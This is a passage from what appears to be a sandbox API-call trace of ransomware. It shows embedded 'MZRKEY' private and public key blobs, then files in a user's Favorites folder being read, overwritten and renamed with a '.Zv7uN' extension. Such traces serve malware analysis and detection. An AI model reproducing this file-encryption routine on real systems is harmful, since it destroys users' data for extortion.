lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0125.368] GetCurrentThreadId () returned 0xa30 [0125.368] GetCurrentThreadId () returned 0xa30 [0125.368] GetCurrentThreadId () returned 0xa30 [0125.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0125.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f0109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0125.369] GetCurrentThreadId () returned 0xa30 [0125.369] GetCurrentThreadId () returned 0xa30 [0125.369] GetCurrentThreadId () returned 0xa30 [0125.369] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.370] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0125.370] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.370] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x85 [0125.370] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0125.370] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f08ea0, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f08ea0*, lpNumberOfBytesRead=0x18f6a0*=0x85, lpOverlapped=0x0) returned 1 [0125.373] CloseHandle (hObject=0x1ec) returned 1 [0125.373] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0125.375] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f0aed0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0aed0*, lpNumberOfBytesWritten=0x18f6ac*=0x85, lpOverlapped=0x0) returned 1 [0125.377] CloseHandle (hObject=0x1ec) returned 1 [0125.377] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSNBC News.url.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msnbc news.url.zv7un")) returned 1 [0125.378] GetCurrentThreadId () returned 0xa30 [0125.378] GetCurrentThreadId () returned 0xa30 [0125.378] GetCurrentThreadId () returned 0xa30 [0125.378] GetCurrentThreadId () returned 0xa30 [0125.378] GetCurrentThreadId () returned 0xa30 [0125.378] GetCurrentThreadId () returned 0xa30 [0125.378] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0125.378] GetLastError () returned 0x12 [0125.378] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.379] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5f812780, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f812780, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.379] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.379] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.379] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x5f812780, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5f812780, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.379] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.379] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.379] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f7540a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Autos.url.Zv7uN", cAlternateFileName="MSNAUT~1.ZV7")) returned 1 [0125.379] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.379] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.379] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f77a200, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Entertainment.url.Zv7uN", cAlternateFileName="MSNENT~1.ZV7")) returned 1 [0125.379] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.379] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.380] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f7a0360, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Money.url.Zv7uN", cAlternateFileName="MSNMON~1.ZV7")) returned 1 [0125.380] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.380] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.380] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f7c64c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN Sports.url.Zv7uN", cAlternateFileName="MSNSPO~1.ZV7")) returned 1 [0125.380] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.380] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.380] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f7ec620, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN.url.Zv7uN", cAlternateFileName="MSNURL~1.ZV7")) returned 1 [0125.380] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.380] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.380] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f812780, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSNBC News.url.Zv7uN", cAlternateFileName="MSNBCN~1.ZV7")) returned 1 [0125.380] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.380] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.380] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x5f812780, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSNBC News.url.Zv7uN", cAlternateFileName="MSNBCN~1.ZV7")) returned 0 [0125.380] GetLastError () returned 0x12 [0125.380] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.381] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xba1113e9, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0125.381] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.381] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.381] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.385] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.386] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: 